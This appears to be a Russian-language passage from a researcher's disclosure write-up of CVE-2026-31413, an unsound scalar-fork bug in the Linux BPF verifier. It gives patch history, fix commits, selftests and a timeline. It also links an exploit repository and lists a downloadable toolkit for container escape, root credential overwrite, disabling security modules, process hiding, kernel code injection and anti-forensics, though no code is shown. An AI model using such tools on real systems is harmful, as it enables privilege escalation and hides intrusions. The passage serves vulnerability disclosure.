  • v2: Эдуард Зингерман предложил подход с повторным выполнением — отправлять на insn_idx вместо insn_idx + 1. Проще, не зависит от операции, устраняет целый класс багов вида «пропуск против выполнения».
  • v3: Стиль однострочных комментариев в selftests, по замечанию Алексея Старовойтова. То же исправление.

Вмёржено как c845894ebd6f 22 марта Алексеем Старовойтовым. Селфтесты в 0ad1734cc559. Рецензировано Эдуардом Зингерманом, подтверждено Амери Хунгом.

Селфтесты покрывают три случая:

  1. or_scalar_fork_rejects_oob — ARSH 63 + OR 8, value_size=8, доступ по смещению 8 вне границ (OOB) → должен быть отклонён
  2. and_scalar_fork_still_works — регрессионный тест, путь AND по-прежнему принимается
  3. or_scalar_fork_allows_inbounds — OR 4, value_size=8, смещение 4 в пределах границ → должен быть принят

Линус вмёржил d5273fd3ca0b ("Merge tag 'bpf-fixes'") с примечанием: "Fix unsound scalar fork for OR instructions (Daniel Wade)".


Хронология


Ресурсы

  • Коммит с исправлением: c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")
  • Селфтесты: 0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")
  • Коммит, в котором появился баг: bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")
  • Серия патчей: lore.kernel.org
  • Исходный код эксплойта + патчи: github.com/Rat5ak/CVE-2026-31413-BPF-Container-Escape

Отказ от ответственности: Этот код эксплойта публикуется в образовательных целях и для оборонительных исследований после ответственного раскрытия и вмёрживания патча. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.

CVE-2026-31413 — Исправлено в Linux 7.0-rc5. Затронутые версии: с 6.12.75+ (стабильный бэкпорт) по 7.0-rc4.

Daniel Wade — GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online

Скачать инструмент
УровеньФайлВозможность
1exploit.c / exploit_gke.cПобег из контейнера - перехват vtable + перезапись modprobe_path (основной эксплойт, описанный выше)
v2exploit_gke_v2.cПерезапись cred только данными - без перехвата vtable, без modprobe_path, без взаимодействия с файловой системой. Автоопределение компоновки task_struct. Нулевое окно повреждения карты памяти. Рекомендуемый эксплойт.
2tier2_cred_overwrite.cПрямая перезапись учетных данных - обход цепочки task_struct, поиск текущей задачи, обнуление uid/gid/caps в struct cred для мгновенного получения root
3tier3_syscall_hook.cПерехват таблицы системных вызовов - обход таблиц страниц, чтобы сделать таблицу системных вызовов доступной для записи, замена обработчика, вызов из пользовательского пространства, восстановление
4tier4_security_disable.cОтключение подсистем безопасности - отключение SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict; проверка через /proc
5tier5_cross_container.cКража учетных данных между контейнерами - перечисление структур nsproxy, поиск task_struct целевого PID в другом namespace, изменение его creds
6tier6_persistence.cПостоянство, активируемое ядром - перезапись modprobe_path и core_pattern для выполнения полезных нагрузок атакующего при ошибках формата бинарных файлов и сбоях
7tier7_hardware.cИнтроспекция на уровне оборудования - дамп IDT, чтение/декодирование CR0/CR4, обход таблиц страниц с полной матрицей прав, восстановление базы KASLR
8tier8_dkom_cloak.cСкрытие процессов DKOM - форк дочернего процесса, поиск его task_struct, удаление из списка задач ядра (невидим для ps/итераторов задач), повторное связывание
9tier9_code_inject.cЖивая инъекция кода в ядро - изменение PMD .text на записываемый, перезапись пролога sys_getuid шеллкодом (mov rax, 0x1337; ret), вызов из пользовательского пространства, восстановление
10tier10_anti_forensics.cАнти-форензика - дамп внутренностей кольцевого буфера printk, вмешательство в форензические переменные (ftrace, audit, dmesg_restrict, kptr_restrict), чтение/запись текста буфера журнала ядра
ДатаСобытие
2026-01-14bffacdb80b93 вводит maybe_fork_scalars() в 7.0-rc1
2026-03-04Баг бэкпортирован в стабильную ветку 6.12.y как dea9989a3f
2026-03-11Я нашёл баг во время аудита верификатора
2026-03-12Чтение/запись вне границ (OOB) подтверждены, эксплойт работает
2026-03-13PoC побега из контейнера готов, видео записано
2026-03-14Патч v3 отправлен на [email protected]
2026-03-22Исправление вмёржено Алексеем Старовойтовым в bpf/bpf.git
2026-04-06Линус вмёржил тег bpf-fixes в mainline
2026-04-12CVE-2026-31413 присвоен Грегом Кроа-Хартманом